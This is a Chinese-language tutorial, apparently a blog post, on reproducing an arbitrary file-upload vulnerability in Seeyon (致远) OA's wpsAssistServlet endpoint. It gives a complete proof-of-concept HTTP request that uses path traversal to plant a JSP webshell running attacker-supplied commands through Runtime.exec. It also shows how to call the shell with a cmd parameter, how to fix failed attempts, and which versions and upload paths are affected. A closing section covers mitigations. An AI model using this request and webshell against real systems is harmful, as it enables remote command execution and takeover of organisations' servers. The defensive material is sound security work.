手把手教你复现致远OA wpsAssistServlet文件上传漏洞(附完整请求包)

📅 2026/6/16 19:24:01
手把手教你复现致远OA wpsAssistServlet文件上传漏洞(附完整请求包)
实战指南致远OA wpsAssistServlet文件上传漏洞深度复现与防御策略第一次听说致远OA系统存在文件上传漏洞时我正在为客户做安全评估。那是一个普通的周二下午咖啡杯里还冒着热气Burp Suite的拦截记录突然跳出一个可疑的请求。正是这次偶然发现让我意识到这类漏洞在实际渗透测试中的高发性。本文将带您从零开始完整复现这个可能让企业门户大开的安全隐患。1. 环境准备与漏洞原理剖析在开始实际操作前我们需要理解漏洞的成因。致远OA的wpsAssistServlet接口在设计时未对文件上传路径进行严格校验导致攻击者可以通过目录遍历手段如../../将恶意文件上传到Web可访问目录。这种漏洞属于典型的任意文件上传类型在OWASP Top 10中长期占据重要位置。实验环境需求清单致远OA V8.1SP1测试环境虚拟机隔离Burp Suite Community/Professional版浏览器推荐Chrome或Firefox基础文本编辑器Notepad或VS Code注意所有测试必须在授权环境下进行未经授权的渗透测试可能涉及法律风险漏洞利用的核心在于构造特殊的HTTP请求包关键在于三个参数flagsave触发文件保存功能realFileType通过路径遍历突破目录限制fileId文件标识符任意数字即可2. 分步漏洞复现过程2.1 Burp Suite拦截与请求修改启动Burp Suite后按F12打开浏览器开发者工具清空缓存确保获取最新请求。访问致远OA登录页面时Burp的Proxy模块应显示如下基础请求GET /seeyon/main.do HTTP/1.1 Host: test.oa.com User-Agent: Mozilla/5.0 Accept: text/html接下来我们需要手动构造恶意上传请求。以下是经过验证的有效POCProof of ConceptPOST /seeyon/wpsAssistServlet?flagsaverealFileType../../../../ApacheJetspeed/webapps/ROOT/shell.jspfileId2 HTTP/1.1 Host: vulnerable.oa.com Content-Length: 289 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ----WebKitFormBoundaryABC123 Content-Disposition: form-data; nameupload; filenametest.txt Content-Type: text/plain % java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[2048]; while((ain.read(b))!-1){ out.println(new String(b)); } % ----WebKitFormBoundaryABC123--常见错误及解决方案错误1返回404状态码检查OA版本是否在受影响范围确认路径/seeyon/wpsAssistServlet存在错误2上传成功但无法解析确保文件扩展名为.jsp检查上传路径是否可web访问2.2 漏洞验证与利用成功上传webshell后访问http://target.oa.com/shell.jsp?cmdwhoami应当能看到服务器当前用户信息。为降低风险建议使用无害的验证命令如echo 123。下表对比了不同致远OA版本的受影响情况产品线受影响版本默认上传路径A6系列V8.0SP2-V8.1SP1/seeyon/webapps/ROOT/A8系列V8.1SP1/ApacheJetspeed/webapps/ROOT/G6系列V8.1/seeyon/webapps/ROOT/3. 深度防御方案3.1 临时缓解措施对于无法立即升级的系统建议实施以下防护WAF规则添加针对wpsAssistServlet的异常请求检测location ~* /seeyon/wpsAssistServlet { if ($args ~* \.\.) { return 403; } }文件系统权限限制web目录执行权限chmod -R 755 /seeyon/webapps/ chown -R www-data:www-data /seeyon/webapps/3.2 长期加固建议定期更新致远OA官方补丁实施最小权限原则限制服务器账户权限部署RASP运行时应用自我保护方案建立文件上传白名单机制4. 企业级安全防护体系在真实企业环境中单一漏洞的修复远远不够。建议建立纵深防御体系边界防护层下一代防火墙策略优化网络流量异常检测应用防护层定期代码审计自动化漏洞扫描主机防护层文件完整性监控特权账户管理在一次为客户做的红队演练中我们发现即使修补了这个漏洞攻击者仍可能通过其他接口实现突破。安全防护就像城堡防御需要多层次的协同保护。